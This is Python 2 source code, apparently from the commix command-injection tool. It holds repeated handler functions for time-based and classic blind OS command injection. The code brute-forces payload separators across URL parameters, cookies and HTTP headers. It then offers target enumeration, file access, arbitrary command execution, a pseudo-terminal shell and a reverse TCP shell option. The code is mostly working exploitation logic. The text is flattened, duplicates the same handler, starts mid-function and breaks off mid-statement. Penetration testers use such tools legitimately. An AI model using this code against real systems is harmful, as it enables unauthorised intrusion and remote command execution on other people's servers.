settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable " warning_msg += "requests. This behavior which may lead to false-positive results." sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL) print "" # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "(" + str(randv1) + " + " + str(randv2) + ")" # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not menu.options.verbose: percent = str(float_percent)+ "%" sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue else: if not menu.options.verbose: percent = str(float_percent)+ "%" sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue if not menu.options.verbose: sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " Cookie" found_vuln_parameter = vuln_parameter the_type = " HTTP header" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) is_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: if menu.enumeration_options(): tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > ").lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) sys.exit(0) if not new_line : print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators(separator, http_request_method) whitespace = settings.WHITESPACES[0] response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG) # Export injection result if menu.options.verbose: print "" print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n" pass #break if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False again_warning = True false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = 0 injection_type = "Blind Command Injection" technique = "time-based injection technique" if menu.options.verbose: print settings.INFO_SIGN + "Testing the " + technique + "... " # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace( "\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic = how_long_statistic + how_long # Reset the how_long_statistic counter if output_length == tag_length - 1: how_long_statistic = 0 # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not menu.options.verbose: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Windows targets. if settings.TARGET_OS == "win": if how_long > (how_long_statistic / output_length): false_positive_fixation = True else: false_positive_warning = True # Unix-like targets. else: if delay == 1 and (how_long_statistic == delay) or \ delay == 1 and (how_long_statistic == how_long) or \ delay > 1 and (how_long_statistic == (output_length + delay)) and \ how_long == delay + 1: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning and again_warning: again_warning = False warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable " warning_msg += "requests. This behavior which may lead to false-positive results." sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL) print "" # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "(" + str( randv1) + " + " + str( randv2) + ")" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not menu.options.verbose: percent = str(float_percent) + "%" sys.stdout.write( "\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue else: if not menu.options.verbose: percent = str(float_percent) + "%" sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() continue if not menu.options.verbose: sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " Cookie" found_vuln_parameter = vuln_parameter the_type = " HTTP header" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) is_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: enumerate_again = raw_input( "\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > " ).lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: file_access_again = raw_input( settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > " ).lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break gotshell = raw_input( settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > " ).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators( separator, http_request_method) whitespace = settings.WHITESPACES[ 0] response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG) # Export injection result if menu.options.verbose: print "" print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n" pass #break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate test results. shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not 